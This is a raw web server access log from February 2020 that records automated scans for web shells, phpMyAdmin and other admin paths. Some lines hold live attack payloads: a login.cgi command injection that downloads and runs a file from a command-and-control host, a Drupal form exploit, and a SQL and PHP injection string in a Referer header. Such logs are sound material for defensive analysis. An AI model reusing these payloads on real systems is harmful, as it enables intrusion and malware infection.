47.89.225.94 - - [19/Feb/2020:15:22:50 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:50 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:51 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:51 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:53 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:54 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:54 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:55 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:55 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:58 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:22:59 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:23:02 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:23:02 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:23:03 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:23:03 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:23:06 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:23:06 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:23:07 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:23:07 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:23:10 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:23:10 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:23:11 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:23:11 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:23:14 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:23:14 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
83.228.101.218 - - [19/Feb/2020:15:23:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.228.101.218 - - [19/Feb/2020:15:23:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.228.101.218 - - [19/Feb/2020:15:23:37 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
47.89.225.94 - - [19/Feb/2020:15:23:39 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [19/Feb/2020:15:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:24:03 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
47.89.225.94 - - [19/Feb/2020:15:24:31 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [19/Feb/2020:15:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:24:59 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
47.89.225.94 - - [19/Feb/2020:15:25:42 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
47.89.225.94 - - [19/Feb/2020:15:25:43 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
47.89.225.94 - - [19/Feb/2020:15:25:44 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
212.91.246.72 - - [19/Feb/2020:15:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:25:46 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
47.89.225.94 - - [19/Feb/2020:15:25:47 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
47.89.225.94 - - [19/Feb/2020:15:26:11 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:26:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
212.91.246.72 - - [19/Feb/2020:15:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:27:02 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
195.158.93.59 - - [19/Feb/2020:15:27:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
47.89.225.94 - - [19/Feb/2020:15:27:30 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
151.30.57.221 - - [19/Feb/2020:15:27:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:15:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:28:06 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
71.6.232.4 - - [19/Feb/2020:15:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
212.91.246.72 - - [19/Feb/2020:15:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:29:02 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
169.197.108.6 - - [19/Feb/2020:15:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:29:26 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
212.91.246.72 - - [19/Feb/2020:15:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:29:51 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
47.89.225.94 - - [19/Feb/2020:15:29:53 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:29:54 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:29:55 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:29:58 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:29:59 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:02 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:03 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:04 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:06 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:07 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:08 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:10 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:10 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:11 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:12 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:14 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:15 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:16 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:16 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:18 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:19 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:19 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:20 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:21 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:22 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:23 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:24 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:25 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:26 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:27 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:32 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:34 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:34 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:35 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:38 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:39 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:42 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:43 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:43 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:44 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [19/Feb/2020:15:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:30:46 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:47 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:47 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:48 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:50 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:51 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:52 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:57 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:58 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:30:58 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:02 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:02 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:06 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:06 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:09 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:10 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:10 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:14 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:14 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:16 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:17 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:18 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:18 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:20 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:22 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
